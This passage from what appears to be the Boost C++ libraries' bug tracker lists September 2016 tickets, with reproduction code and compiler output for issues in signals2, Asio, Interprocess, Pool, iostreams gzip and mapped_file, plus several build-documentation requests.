The code above compiles and running it I'd expect both signals to be printed, however nothing is printed. If however I bind the signalTest object "test2" by reference like the code below:

Bind by reference:

sig.connect(boost::bind(&SignalTest::printInfo, &test2, _1, _2));

The following is printed:

test2 bind by reference print

Signal: Test 2

And if I also bind signalTest object "test1" by reference the following is printed:

test1 and test2 bind by reference print

Signal: Test 1
Signal: Test 2
Signal: Test 2

As I was lead to understand from the example code of section "Automatic Connection Management" in the tutorial at http://www.boost.org/doc/libs/1_61_0/doc/html/signals2/tutorial.html#idp394616720 I should be able to call the member function by value, however this is not the case using trackable.

#12482: No longer builds without warnings on MAC OS X 10.11.6 after upgrade to Xcode with Clang 8.0

anonymous — Mon, 26 Sep 2016 03:02:56 GMT

After an update to Xcode (version 8) on OS X 10.11.6 I found that my projects won't build due to 'OSMemoryBarrier being deprecated. I tried to rebuild the library with the new tools and found that it won't build either due to the same error.

In file included from /usr/local/include/boost/asio/detail/fenced_block.hpp:24:
/usr/local/include/boost/asio/detail/macos_fenced_block.hpp:51:5: warning: 'OSMemoryBarrier' is deprecated: first deprecated in macOS 10.12 - Use std::atomic_thread_fence() from <atomic> instead [-Wdeprecated-declarations]
    OSMemoryBarrier();
    ^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.12.sdk/usr/include/libkern/OSAtomicDeprecated.h:749:9: note: 'OSMemoryBarrier' has been explicitly marked deprecated here
void    OSMemoryBarrier( void );
        ^
2 warnings generated.

#12477: [math] error: while reading precompiled header: No such file or directory

jackie.huang@… — Fri, 23 Sep 2016 07:18:37 GMT

Compilation of boost 1.61.1 with GCC 6.2.0 compiler sometimes fail (35%: 7 failure out of 20 builds, with "-j64") with many erros like:

libs/math/build/../src/tr1/assoc_legendre.cpp:6:21: error: while reading precompiled header: No such file or directory

# include <pch.hpp>

libs/math/build/../src/tr1/cyl_bessel_j.cpp:6:21: error: while reading precompiled header: No such file or directory

# include <pch.hpp>

It seems to be a race condition in parallel compiling.

And I also observed many warnings like:

libs/math/build/../src/tr1/cyl_bessel_i.cpp:6:21: warning: /ala-lpggp51/jhuang0/builds/p90_i64-sato_160920/bitbake_build/tmp/work/corei7-64-wrs-linux/boost/1.61.0-r0/boost_1_61_0/x86_64-wrs-linux/boost/bin.v2/libs/math/build/69ffc88faf507005827aa061bd65b9bd/../src/tr1/pch.hpp.gch: created and used with different settings of -fpic libs/math/build/../src/tr1/cyl_bessel_jf.cpp:6:21: warning: /ala-lpggp51/jhuang0/builds/p90_i64-sato_160920/bitbake_build/tmp/work/corei7-64-wrs-linux/boost/1.61.0-r0/boost_1_61_0/x86_64-wrs-linux/boost/bin.v2/libs/math/build/69ffc88faf507005827aa061bd65b9bd/../src/tr1/pch.hpp.gch: created and used with different settings of -fpic libs/math/build/../src/tr1/cyl_neumannf.cpp:6:21: warning: /ala-lpggp51/jhuang0/builds/p90_i64-sato_160920/bitbake_build/tmp/work/corei7-64-wrs-linux/boost/1.61.0-r0/boost_1_61_0/x86_64-wrs-linux/boost/bin.v2/libs/math/build/69ffc88faf507005827aa061bd65b9bd/../src/tr1/pch.hpp.gch: created and used with different settings of -fpic

libs/math/build/../src/tr1/assoc_legendre.cpp:6:21: warning: /ala-lpggp51/jhuang0/builds/p90_i64-sato_160920/bitbake_build/tmp/work/corei7-64-wrs-linux/boost/1.61.0-r0/boost_1_61_0/x86_64-wrs-linux/boost/bin.v2/libs/math/build/69ffc88faf507005827aa061bd65b9bd/../src/tr1/pch.hpp.gch: not used because `LDBL_MAX_EX' not defined [-Winvalid-pch]

# include <pch.hpp>

libs/math/build/../src/tr1/sph_legendre.cpp:6:21: warning: /ala-lpggp51/jhuang0/builds/p90_i64-sato_160920/bitbake_build/tmp/work/corei7-64-wrs-linux/boost/1.61.0-r0/boost_1_61_0/x86_64-wrs-linux/boost/bin.v2/libs/math/build/69ffc88faf507005827aa061bd65b9bd/../src/tr1/pch.hpp.gch: not used because `LDBL_MAX_EX' not defined [-Winvalid-pch]

# include <pch.hpp>

BTW, my builds are based on yocto project.

#12476: Using named_condition_any with a readers-writer lock

Wed, 21 Sep 2016 14:01:32 GMT

I am trying to use condition variables to signify updated data in a managed_shared_memory segment. I have one "writer" and multiple "readers" of the shared state, so I am using a readers-writer lock.

Unfortunately, although the code compiles, the reader processes are never awakened from wait() and block forever.

It seems named_condition_any may be incompatible with named_sharable_mutex, scoped_lock, sharable_lock, or some combination of the three. Attached is a producer and consumer process that demonstrates the behavior. Run the producer first, then run the consumer.

Expected behavior: consumer process will print values for "copy of int" every 2 seconds (as producer updates)

Observed behavior: consumer process blocks on named_condition_any::wait() and never awakens.

Including the code here in case the attachments don't go through:

PRODUCER:

#include <thread>
#include <chrono>
#include <iostream>
#include <boost/interprocess/sync/scoped_lock.hpp>
#include <boost/interprocess/sync/named_mutex.hpp>
#include <boost/interprocess/sync/named_sharable_mutex.hpp>
#include <boost/interprocess/sync/sharable_lock.hpp>
#include <boost/interprocess/sync/named_condition_any.hpp>
#include <boost/interprocess/managed_shared_memory.hpp>
namespace bi = boost::interprocess;
using SharedMutex           = bi::named_sharable_mutex;
using ReadLock              = bi::sharable_lock<SharedMutex>;
using WriteLock             = bi::scoped_lock<SharedMutex>;
using NewEntryCondition     = bi::named_condition_any;
constexpr char SHM_NAME[]       = "shared_mem";
constexpr char MUT_NAME[]       = "shm_mut";
constexpr char COND_NAME[]      = "shm_cond";
constexpr char CUR_INT_NAME[]   = "shm_int";
int main(int argc, char *argv[])
{
    // Remove the shared mem, condition variable, mutex
    struct shm_remove
    {
        shm_remove() { bi::shared_memory_object::remove( SHM_NAME ); }
        ~shm_remove() { bi::shared_memory_object::remove( SHM_NAME ); }
    } remover;
    struct mut_remove
    {
        mut_remove() { SharedMutex::remove(MUT_NAME); }
        ~mut_remove() { SharedMutex::remove(MUT_NAME); }
    } mut_remover;
    struct cond_remove
    {
        cond_remove() { NewEntryCondition::remove(COND_NAME); }
        ~cond_remove() { NewEntryCondition::remove(COND_NAME); }
    } cond_remover;
    // Create the shared mem, condition variable, mutex
    bi::managed_shared_memory segment(bi::create_only, SHM_NAME, 2*65536);
    SharedMutex         sh_mut(bi::create_only, MUT_NAME);
    NewEntryCondition   sh_cond(bi::create_only, COND_NAME);
    int& shared_int = *segment.construct<int>("shared_int")(0);
    for (int i=0;;i++) {
        std::this_thread::sleep_for(std::chrono::seconds(2));
        {
            WriteLock w_lock( sh_mut );
            shared_int = i;
            std::cout << "set shared_int to: " << shared_int << std::endl;
            sh_cond.notify_all();
        }
    }
    return 0;
}

CONSUMER:

#include <thread>
#include <chrono>
#include <iostream>
#include <boost/interprocess/sync/scoped_lock.hpp>
#include <boost/interprocess/sync/named_mutex.hpp>
#include <boost/interprocess/sync/named_sharable_mutex.hpp>
#include <boost/interprocess/sync/sharable_lock.hpp>
#include <boost/interprocess/sync/named_condition_any.hpp>
#include <boost/interprocess/managed_shared_memory.hpp>
namespace bi = boost::interprocess;
using SharedMutex           = bi::named_sharable_mutex;
using ReadLock              = bi::sharable_lock<SharedMutex>;
using WriteLock             = bi::scoped_lock<SharedMutex>;
using NewEntryCondition     = bi::named_condition_any;
constexpr char SHM_NAME[]       = "shared_mem";
constexpr char MUT_NAME[]       = "shm_mut";
constexpr char COND_NAME[]      = "shm_cond";
constexpr char CUR_INT_NAME[]   = "shm_int";
int main(int argc, char *argv[])
{
    // Open the shared mem, condition variable, mutex
    bi::managed_shared_memory segment(bi::open_only, SHM_NAME);
    SharedMutex         sh_mut(bi::open_only, MUT_NAME);
    NewEntryCondition   sh_cond(bi::open_only, COND_NAME);
    int& shared_int = *segment.find<int>("shared_int").first;
    int  copy_of_int = -1;
    for (int i=0;;i++) {
        {
            ReadLock r_lock( sh_mut );
            std::cout << "calling named_condition_any::wait()" << std::endl;
            sh_cond.wait(
                    r_lock,
                    [&shared_int, &copy_of_int]() {
                        std::cout << "checking predicate..." << std::endl;
                        return (copy_of_int < shared_int);
                    });
            copy_of_int = shared_int;
            std::cout << "copy of int = " << copy_of_int << std::endl;
        }
    }
    return 0;
}

#12475: boost::fast_pool_allocator causes a deadlock on Windows 7

dictoon@… — Wed, 21 Sep 2016 13:31:32 GMT

When invoked from a DLL, Boost.Wave's C++ lexer causes the application to hang on Windows 7 (and only on Windows 7) and to crash when interrupted with CTRL+C on other Windows versions.

Here is a minimal test program in two parts, a DLL and an EXE, that reproduces the problem:

DLL

#include <boost/wave.hpp>
#include <boost/wave/cpplexer/cpp_lex_token.hpp>
#include <boost/wave/cpplexer/cpp_lex_iterator.hpp>
__declspec(dllexport) void foo() {
    typedef boost::wave::cpplexer::lex_token<> token_type;
    typedef boost::wave::cpplexer::lex_iterator<token_type> lex_iterator_type;
    typedef boost::wave::context<std::string::iterator, lex_iterator_type> context_type;
    std::string s = "\n";
    context_type ctx(s.begin(), s.end());
    auto first = *ctx.begin();
}

EXE

#include <stdio.h>
__declspec(dllimport) void foo();
int main() {
    foo();
    fprintf(stderr, "Press CTRL+C to terminate...\n");
    while (true) {}
    return 0;
}

On Windows 7, this program will hang at startup, before entering main(). On other versions of Windows, the program will start and print the message, but pressing CTRL+C to terminate it will cause a crash.

A deeper investigation reveals that the problem is actually caused by Boost's fast_pool_allocator. Here is another minimal example that triggers the same bug as the program above:

DLL

#include <boost/pool/pool_alloc.hpp>
#include <list>
typedef std::list<
    int,
    boost::fast_pool_allocator<int>
> container;
static container last;
__declspec(dllexport) void foo() {}

EXE

Same as in the previous program.

The symptoms of this program should be exactly the same as those of the previous one.

#12474: Using two different resolver instances on the same io_service causes a race condition

michele.de.stefano@… — Wed, 21 Sep 2016 09:47:04 GMT

Dear developer (or developers) of Boost Asio,

I think I've found a bug in Asio. If I instantiate two different TCP resolvers on the same io_service and I use these two distinct resolvers for resolving the same endpoint, a race condition is generated.

I have attached two sources (C++11 is required) that reproduce the issue. Unfortunately you need to run the programs many times to experience a failure ... I have bash scripts that allow me to run these programs thousands of times, each time using a different, random, free port on the local host.

Quick instructions for running the tests:

test_engine_client_dbg_x -s -p <port>

runs the server.

test_engine_client_dbg_x -c -p <port>

Runs the client.

test_engine_client_dbg_2.cpp is the source that fails (at line 364) because, with no apparent reason, we find (sometimes) the pointer to mEngineClient to be NULL. I've also verified that if in this code I insert a while loop that waits until mEngineClient.get() != nullptr, the code proceeds with no error (meaning that, at some point, that pointer is reset to the correct value). But, I repeat, there is no reason why mEngineClient.get() should be NULL in this point.

test_engine_client_dbg_4.cpp is the source that works. Notice that this time I'm not instantiating a second resolver within the EngineClient class, but I'm simply passing the already-resolved endpoint iterator to the EngineClient's constructor. With this change, we never loose the mEngineClient pointer.

This race condition can be experienced only if we call io_service.run() from multiple threads. I've verified that this does not happen if we call a single io_service.run().

Also, I think it is difficult to be reproduced, because I've experienced it only on one specific machine that, maybe, has a different timing with respect to the others I have (because of its hardware). On this machine (which has Fedora 23 OS, with kernel 4.7.3 and gcc 5.3.1) I've also tried re-building by using gcc 4.8.5, but the issue is the same (so this is not a compiler bug). I've also tried, on the same machine, with Fedora 24 OS (yes ... I re-installed the OS) and so I was also able to test with gcc 6.1 and the issue comes out again. On other machines (I've tried also a CentOS6, with 8 cores and gcc 4.8.5) I was not able to reproduce this issue even running the tests thousands of times, while on the Fedora machine where I'm experiencing this issue, it happens basically for sure within 1000 runs.

In summary, stress test is the only way to hope to experience this bug (but sometimes it also comes out at the first run).

#12472: accumulator statistics.hpp may cause build to fail due to no viable overloaded operator[]

Tue, 20 Sep 2016 20:28:28 GMT

This occurred on both 1.61.0 and trunk. This was tested using Apple's Xcode 8 toolchain on macOS 10.12, through CMake, with Boost installed through Homebrew.

This program shows the error on my computer:

#include <boost/accumulators/accumulators.hpp>
#include <boost/accumulators/statistics.hpp>
using namespace boost::accumulators;
static accumulator_set<int, stats<tag::tail<right>>> acc;
int main(int argv, char* argc[]) {
	return 0;
}

Compilation was done using the command clang++ -std=c++11 test.cpp

Interestingly, the build succeeds when #include <boost/accumulators/statistics/tail.hpp> is used instead of including statistics.hpp.

#12471: gzip compressor decompressor broken

anonymous — Tue, 20 Sep 2016 14:40:52 GMT

Hi guys, when I use the iostreams with the gzip tools it fails to give correct answers on final dezip. my data is all small integers separated by commas, and the recovered data interchanges the order of commas and numbers as if it was a bad multithreaded program. The result is worse than useless. This is a big file phenomena (up to gb size).

Looking at the compressor code (gzip.hpp) I see many problems between 32 and 64 bit. Currently I am looking at an assignment: One that is problematic at the

    template<typename Sink>
    std::streamsize write(Sink& snk, const char_type* s, std::streamsize n)
    {
        if (!(flags_ & f_header_done)) {
            std::streamsize amt =
                static_cast<std::streamsize>(header_.size() - offset_);
            offset_ += boost::iostreams::write(snk, header_.data() + offset_, amt);
            if (offset_ == header_.size())
                flags_ |= f_header_done;
            else
                return 0;
        }
        return base_type::write(snk, s, n);
    }

offset_ is size_t while boost::iostreams::write(returns streamsize a signed 64 bit type (long long). So in 32 bit code there is a problem. Streamsize occurs many places, as does size_t; but one seems to be consistently 64 bit across platforms. offset seems to be 32 bit in 32 bit code. I do not think this this is the cause of the issues with gzip but short of rewriting it I don't know where to start.

I would like ot use and have confidence in this compression code but so far it only gives grief...

#12470: gzip compressor decompressor broken

anonymous — Tue, 20 Sep 2016 14:40:47 GMT

Looking at the compressor code (gzip.hpp) I see many problems between 32 and 64 bit. Currently I am looking at an assignment: One that is problematic at the

    template<typename Sink>
    std::streamsize write(Sink& snk, const char_type* s, std::streamsize n)
    {
        if (!(flags_ & f_header_done)) {
            std::streamsize amt =
                static_cast<std::streamsize>(header_.size() - offset_);
            offset_ += boost::iostreams::write(snk, header_.data() + offset_, amt);
            if (offset_ == header_.size())
                flags_ |= f_header_done;
            else
                return 0;
        }
        return base_type::write(snk, s, n);
    }

I would like ot use and have confidence in this compression code but so far it only gives grief...

#12469: BOOST_MPL_PRINT_HPP generates error: negative integral constant converted to unsigned type

anonymous — Tue, 20 Sep 2016 14:17:27 GMT

Hi, serialization in win32 generates compile error in VS2015. The error is: c:\program files\boost\boost_1_61_0\boost\mpl\print.hpp(52): error C4308: negative integral constant converted to unsigned type

#elif defined(BOOST_MSVC)
    enum { n = sizeof(T) + -1 };
#elif defined(__MWERKS__)

And ultimately this was triggered by:

private:
	// the range of the output hashed variable
	size_t mWidth;
	size_t mPrime;
	size_t mKindependent;
	std::shared_ptr<std::vector<size_t> > mpCoefficients;
	friend class boost::serialization::access;
	template<class Archive>
	void serialize(Archive & ar, const unsigned int version)
	{
		ar & mPrime ; ar & mKindependent ; ar & mpCoefficients ; ar & mWidth;
	}

All works in 64 bit mode.

#12467: [regression] clang 3.9 and trunk fail to compile small_vector (ICE)

anonymous — Fri, 16 Sep 2016 08:58:32 GMT

https://llvm.org/bugs/show_bug.cgi?id=29091

Minimal example:

#include <boost/container/small_vector.hpp> #include <type_traits>

using boost::container::small_vector;

struct A : small_vector<int, 3> {

using vector_t = small_vector<int, 3>; using vector_t::vector_t; using vector_t::operator=;

};

template <typename P> inline void foo(P) {

small_vector<P, 3> pls; pls.push_back(P{});

}

int main() {

foo(A{}); return 0;

}

Results in an internal compiler error.

#12466: property_tree::string_path's operator / won't accept StringT as an argument

Fri, 16 Sep 2016 07:09:18 GMT

A very simple example of the problem can be seen with this code:

boost::property_tree::path_of<std::string>::type path("parent");
std::string component("child");
path / component;

This produces an error of "no match for operator/". I have tested this on G++ 6.2.0, VS 14 Update 3, and Apple's clang-800.0.38, and they all produce roughly the same error. This issue can be worked around by replacing the third line with path / boost::property_tree::path_of<std::string>::type(component) or path / component.c_str();, as those types are both explicitly overloaded. Adding an additional overload for the String type will fix this issue.

#12465: Suggest promoting -j to "Important Options" in help output

Phil Endecott — Thu, 15 Sep 2016 14:37:30 GMT

Currently ./b2 --help doesn't mention -j; one has to ./b2 --help-options, which is described as "Print more obscure command line options".

Almost everyone has multi-CPU system these days (even in their phones!). Building Boost on one CPU would be a mistake. Maybe Boost.Build should default to using multiple processors. Failing that, the -jN option should be considered an "important" option and be mentioned more prominently. Wanting to use multiple CPUs is not "obscure" any more.

#12464: Mention dependencies on zlib etc. and how to reconfigure

Phil Endecott — Thu, 15 Sep 2016 14:31:45 GMT

I suggest that the Getting Started docs should mention:

Installing dependencies, in particular zlib-dev packages, before building. (zlib always seems to catch me out!)

Checking which dependencies b2 has and hasn't found before they scroll off the top of the screen.

How to re-run b2 after installing missing dependencies; b2 doesn't automatically detect that e.g. zlib-dev has been installed and caches the previous state, so --reconfigure is needed.

#12463: Mention -j option for b2

Phil Endecott — Thu, 15 Sep 2016 14:26:05 GMT

Most people have multi-core systems now, and building Boost concurrently will be dramatically faster. b2 doesn't do this automatically, so I suggest that the getting started docs mention the -j option.

#12462: Wish INSTALL file had more content

Phil Endecott — Thu, 15 Sep 2016 14:22:17 GMT

Each time I build Boost, which is every year or two, I seem to go through the same process:

$ cat INSTALL See ./index.html for information about this release. The "Getting Started" section is a useful starting place.

Distributed under the Boost Software License, Version 1.0. See ./LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txtphil@norway $

(Note the missing newline at the end of the file.)

"Sigh", I think, "I remember from last time, I can't just ./configure; make -j4; make install; and the instructions for what I should do are hidden deep in some HTML file."

Note that I'm never building on a machine with a web browser; it's always a headless system of some sort. I don't think that's too unusual. I consider installing a text-mode web browser like lynx or links of whatever, but think "it can't be that difficult".

$ more index.html Scanning a few pages of raw HTML I find a link to... $ more more/getting_started/index.html And then... $ more more/getting_started/unix-variants.html Scanning 280 lines of HTML, I find the start of the instructions that I need.

It would be really great if the essence of this could be copied into the INSTALL text file:

$ ./bootstrap.sh $ ./b2 -j4 $ ./b2 install

I.e. a translation of what autotools-based packages typically say.

#12461: Consider using parallel bzip2 for .tar.bz2 downloads

Phil Endecott — Thu, 15 Sep 2016 14:00:46 GMT

pbzip2 is a parallel implementation of the bzip2 file compressor; files compressed using it are compatible with regular bzip2, but to get speedup while decompressing with pbzip2 the file must have been compressed with pbzip2.

In a quick test, decompressing/untaring Boost 1.61.0 is more than 4 times faster on an 8-CPU system using pbzip2 than using regular bzip2 on the same machine.

There is a minute increase in file size, much less than 1%.

Please consider using pbzip2 to create the official .tar.bz2 files.

(Not sure of component to file bug against!)

#12458: Boost should use /utf8 compiler option for Visual C++ builds

thomas.sondergaard@… — Thu, 15 Sep 2016 09:07:20 GMT

This prevents non-ascii and non-utf8 encoded characters to sneak into the source code of modules. Preventing this helps library users that compile with /utf8 to avoid a C4828 warning from the cl compiler.

#12456: mapped_file issues with huge file support

Wed, 14 Sep 2016 16:27:34 GMT

I worked on an application that handles huge files (tens of Gb). Using memory mapped file is a common way to deal with such amounts of data. I'd like to use boost::iostreams::mapped_file to read and write those files. Sadly enough I faced a number of issues that makes it nearly impossible.

I describe all the problems in one ticket instead of several tickets because all the issues are tightly connected to each other and fixing one of those requires fixing another.

First, let us take a look at the mapped_file::open declaration:

    template<typename Path>
    void open( const Path& path,
               BOOST_IOS::openmode mode =
                   BOOST_IOS::in | BOOST_IOS::out,
               size_type length = max_length,
               stream_offset offset = 0 );

It has length parameter that says how many bytes of file we wish to map into the memory. By default it try to map the whole file, but in general this parameter should be much lesser than the file size. Consider working with file of 100 Gb. Mapping the whole file is too expencive and in many cases simply impossible (consider x86 OS, for example).

This length parameter is stored in the size_ member.

 size_ =
                static_cast<std::size_t>(
                    p.length != max_length ?
                        std::min<boost::intmax_t>(p.length, size) :
                        size
                );

std::size_t size() const { return size_; }

That leads us to the following problem:

mapped_file::size() returns us NOT the file size. In general case it returns memory view size. If I need to know the file size

I must do additional queries outside of mapped_file code. It's a painful work because I need to reimplement a lot of mapped_file::open code. Mapped_file::open already knows this size, but doesn't expose it outside. I guess mapped_file should have two methods: size() and file_size() or view_size() and size() to separately get the whole file size and the size of mapped region.

mapped_file::resize ignores length parameter. Consider:

void mapped_file_impl::resize(stream_offset new_size)
{
...
    size_ = new_size;
	param_type p(params_);
    map_file(p);  // May modify p.hint
...
}

Compare to the code from open. No min(length, size), it just uses the new_size as view size. Again, in case of a huge file it is inappropriate and sometimes impossible.

mapped_file doesn't allow remapping file without closing it and open with new offset and length. That approach kills performance in case of application that needs intensively read huge file piece by piece. I guess mapped_file should have method remap that accepts new offset and do job similar to resize, but without resizing file, just remapping.

#12455: Missing include boost/config.hpp and boost/assert.hpp in download package 1.61.0

alexander.hetzl@… — Wed, 14 Sep 2016 15:10:58 GMT

It seems that the file boost/config.hpp (and also boost/assert.hpp) is missing from the download package 1.61.0.

When we add #include <boost/xpressive/xpressive.hpp> to the source file an error comes up:

P:\Projekte\ITK\3rdParty\boost_1_61_0\boost/type_traits/remove_reference.hpp(12): fatal error C1083: Cannot open include file: 'boost/config.hpp': No such file or directory

AdditionalIncludeDirectories are set correctly in Visual Studio project setup.

#12454: multi_array: operator= does not resize array

martin.koerner@… — Wed, 14 Sep 2016 11:04:57 GMT

Hello,

the copy operator does not resize the array in contrast to the copy constructor, which does. That is a pitfall.

In case of a multi_array_ref the size cannot be changed, but for a multi_array it can and it also should change the size.

#include <boost/multi_array.hpp>

int main() {

boost::multi_array<double, 2> a(boost::extents[3][4]); boost::multi_array<double, 2> b = a; ok boost::multi_array<double, 2> c; has size [0][0] c = a; fails

return 0;

}

#12452: XML log can contain unescaped characters from test output

Tue, 13 Sep 2016 11:40:36 GMT

XML log format does not escape user test output, so the resulting XML file is not valid, e.g.

BOOST_AUTO_TEST_CASE(test)
{
    std::cout << "&";
}

This issue makes it impossible to parse the output with standard XML parsers.

A file log sink can be used to separate Boost.Test output from user output. Unfortunately, the XML reporter does not flush the output stream, so if a unit test runner wants to show test results as soon as they are available, the stderr sink is the only option.

For comparison, the Catch unit test framework redirects cout and cerr and later prints escaped output inside a corresponding XML node.

#12450: oost/serialization/singleton.hpp:131: undefined reference to `boost::serialization::singleton_module::is_locked()'

Mon, 12 Sep 2016 11:50:27 GMT

When I am using the <boost/serialization/singleton.hpp> and compile my code, there is an error: oost/serialization/singleton.hpp:131: undefined reference to `boost::serialization::singleton_module::is_locked()'

I find the body of member functions of singleton_module is removed since version 1.61.0. Since user use only hpp file to inlucde and compile, so please reset the code as the pervious version such as 1.60 and 1.59

#12448: Boost fails to build when path contains % (percent sign)

yury.zaytsev@… — Mon, 12 Sep 2016 09:13:46 GMT

Ubuntu 14.04, Boost 1.61.0:

zaytsev@work:~/src/boost/bad%path/boost_1_61_0$ ./bootstrap.sh --prefix=$(pwd)/../install
Building Boost.Build engine with toolset gcc... tools/build/src/engine/bin.linuxx86_64/b2
Detecting Python version... 2.7
Detecting Python root... /usr
Unicode/ICU support for Boost.Regex?... not found.
Generating Boost.Build configuration in project-config.jam...
Bootstrapping is done. To build, run:
    ./b2
To adjust configuration, edit 'project-config.jam'.
Further information:
   - Command line help:
     ./b2 --help
   - Getting started guide:
     http://www.boost.org/more/getting_started/unix-variants.html
   - Boost.Build documentation:
     http://www.boost.org/build/doc/html/index.html
zaytsev@work:~/src/boost/bad%path/boost_1_61_0$ ./b2 install
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/kernel/modules.jam:107: in modules.call-in
ERROR: rule "<abi>sysv" unknown in root module.
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/util/indirect.jam:98: in indirect.call
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build/targets.jam:1054: in evaluate-requirements
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build/targets.jam:1112: in common-properties2
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build/targets.jam:977: in targets.common-properties
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build/targets.jam:1303: in alias-target-class.generate
/home/zaytsev/src/boost/bad%path/boost_1_61_0/boostcpp.jam:432: in build-multiple
/home/zaytsev/src/boost/bad%path/boost_1_61_0/boostcpp.jam:394: in class@top-level-target.generate
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build/targets.jam:774: in generate-really
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build/targets.jam:746: in class@main-target.generate
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/build-system.jam:714: in load
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/kernel/modules.jam:295: in import
/home/zaytsev/src/boost/bad%path/boost_1_61_0/tools/build/src/kernel/bootstrap.jam:139: in boost-build
/home/zaytsev/src/boost/bad%path/boost_1_61_0/boost-build.jam:17: in module scope

#12446: flat unordered/hash map

Domagoj Šarić — Sat, 10 Sep 2016 06:08:59 GMT

If/when feasible ;)

#12445: static_vector is not noexcept

Domagoj Šarić — Sat, 10 Sep 2016 05:56:19 GMT

Resizing operations on static_vector completely delegate to the corresponding generic vector functionality which throws bad_alloc when the allocator returns null/runs out of storage. This is a bug which defeats the idea of static_vector as a lightweight wrapper around std::array, I don't want EH code generated for static_vectors. Just like array asserts on out-of-bounds access, so should static_vector (i.e. trying to resize a fixed capacity container beyond its capacity is a programming error).

#12444: build failure of boost::date_time::string_parse_tree on HP-UX 11i v3

kostrzewa@… — Fri, 09 Sep 2016 05:05:58 GMT

OS: HP-UX B.11.31 U ia64
Compiler: aCC: HP C/aC++ B3910B A.06.15 [May 16 2007]

Test exposing the problem:

#include <boost/date_time/posix_time/posix_time_io.hpp>
boost::posix_time::time_input_facet const x("");

Compilation (aCC -c test.cc) output:

"/opt/aCC/include_std/utility", line 100: error #2070: incomplete type is not allowed
      second_type second;
                  ^
          detected during:
            instantiation of class "std::pair<_TypeT, _TypeU> [with _TypeT=const char, _TypeU=boost::date_time::string_parse_tree<char>]" at line 97 of "/opt/aCC/include_std/rw/tree"
            instantiation of class "__rw::__rw_rb_tree_node<_Alloc, _Val, _Key, _KeyOf> [with _Alloc=std::allocator<std::pair<const char, boost::date_time::string_parse_tree<char>>>, _Val=std::pair<const char, boost::date_time::string_parse_tree<char>>, _Key=char, _KeyOf=__rw::__select1st<std::pair<const char, boost::date_time::string_parse_tree<char>>, char>]" at line 282 of "/opt/aCC/include_std/rw/tree"
            instantiation of class "__rw::__rb_tree<_Key, _Val, _KeyOf, _Comp, _Alloc> [with _Key=char, _Val=std::pair<const char, boost::date_time::string_parse_tree<char>>, _KeyOf=__rw::__select1st<std::pair<const char, boost::date_time::string_parse_tree<char>>, char>, _Comp=std::less<char>, _Alloc=std::allocator<std::pair<const char, boost::date_time::string_parse_tree<char>>>]" at line 361 of "/opt/aCC/include_std/map"
            instantiation of class "std::multimap<_Key, _TypeT, _Compare, _Allocator> [with _Key=char, _TypeT=boost::date_time::string_parse_tree<char>, _Compare=std::less<char>, _Allocator=std::allocator<std::pair<const char, boost::date_time::string_parse_tree<char>>>]" at line 90 of "/opt/boost/include/boost/date_time/string_parse_tree.hpp"
            instantiation of class "boost::date_time::string_parse_tree<charT> [with charT=char]" at line 165 of "/opt/boost/include/boost/date_time/format_date_parser.hpp"
            instantiation of class "boost::date_time::format_date_parser<date_type, charT> [with date_type=boost::gregorian::date, charT=char]" at line 719 of "/opt/boost/include/boost/date_time/date_facet.hpp"
            instantiation of class "boost::date_time::date_input_facet<date_type, CharT, InItrT> [with date_type=boost::gregorian::date, CharT=char, InItrT=std::istreambuf_iterator<char, std::char_traits<char>>]" at line 657 of "/opt/boost/include/boost/date_time/time_facet.hpp"
            instantiation of class "boost::date_time::time_input_facet<time_type, CharT, InItrT> [with time_type=boost::posix_time::ptime, CharT=char, InItrT=std::istreambuf_iterator<char, std::char_traits<char>>]" at line 3 of "test.cc"

#12442: container_traits is closed for extension

erdem.cilingir@… — Thu, 08 Sep 2016 22:38:37 GMT

I was split between filing this as a request to add support for std::deque to boost/pending/container_traits or the current title. Chose the latter. I believe container traits is only used by graph library and I could not see a component for "pending" so filing as a graph ticket.

Summary: The problem is that the definitions for the supported containers and all the functions used for dispatching wrt to the given container are within a single file. So it is not easy/possible to extend it to add support for new containers. Especially for containers within the std namespace where it would be illegal extend into.

Details: When trying to add support for std::deque to be used with adjacency_list, I kept getting compile errors as the compiler would not pick up the definitions for the specialized container traits.

The attached file fails to compile with basically multiple variations of the error message "no matching function for container_category(...)" in the push_dispatch() function:

{

return push_dispatch(c, BOOST_PENDING_FWD_VALUE(T, v), container_category(c));

}

Possible fix: Separate the container_traits to multiple files so that it would be possible to define specializations for other containers using the existing tags. For example for std::deque, existing tags are completely enough to specify. It can be defined by "random_access_container_tag" and "back_insertion_sequence_tag". If the tag definitions would be moved to another header file, then it would be possible to include that to define a new container in terms of the existing tag specifications.

Please see the attached repro.

#12440: incorrect configuration in boost/graph/properties.hpp for Oracle Developer Studio

Tue, 06 Sep 2016 21:35:22 GMT

Compiling libs/graph/test/subgraph_props.cpp and few other tests with Oracle Developer Studio 12.5 shows the following error:

%CC -std=c++11 -std=c++11 -xO4 -mt -erroff=%none -m32 -KPIC -DBOOST_ALL_NO_LIB=1 -DNDEBUG -I".." -c -o ./subgraph_props.o ../libs/graph/test/subgraph_props.cpp

"../libs/graph/test/subgraph_props.cpp", line 102: Error: The operation "boost::subgraph<boost::adjacency_list<boost::vecS, boost::vecS, boost::bidirectionalS, TestBundles::Node, boost::property<boost::edge_index_t, unsigned, TestBundles::Arc>, boost::no_property, boost::listS>>[unsigned]" is illegal.

"../libs/graph/test/subgraph_props.cpp", line 107: Error: The operation "boost::subgraph<boost::adjacency_list<boost::vecS, boost::vecS, boost::bidirectionalS, TestBundles::Node, boost::property<boost::edge_index_t, unsigned, TestBundles::Arc>, boost::no_property, boost::listS>>[boost::local_property<unsigned>]" is illegal.

2 Error(s) detected.

See:

http://www.boost.org/development/tests/develop/developer/output/oracle-intel-S2-12-5_next-cpp11-boost-bin-v2-libs-graph-test-subgraph_props-test-sun-12-5_next_cpp11-release-threading-multi.html

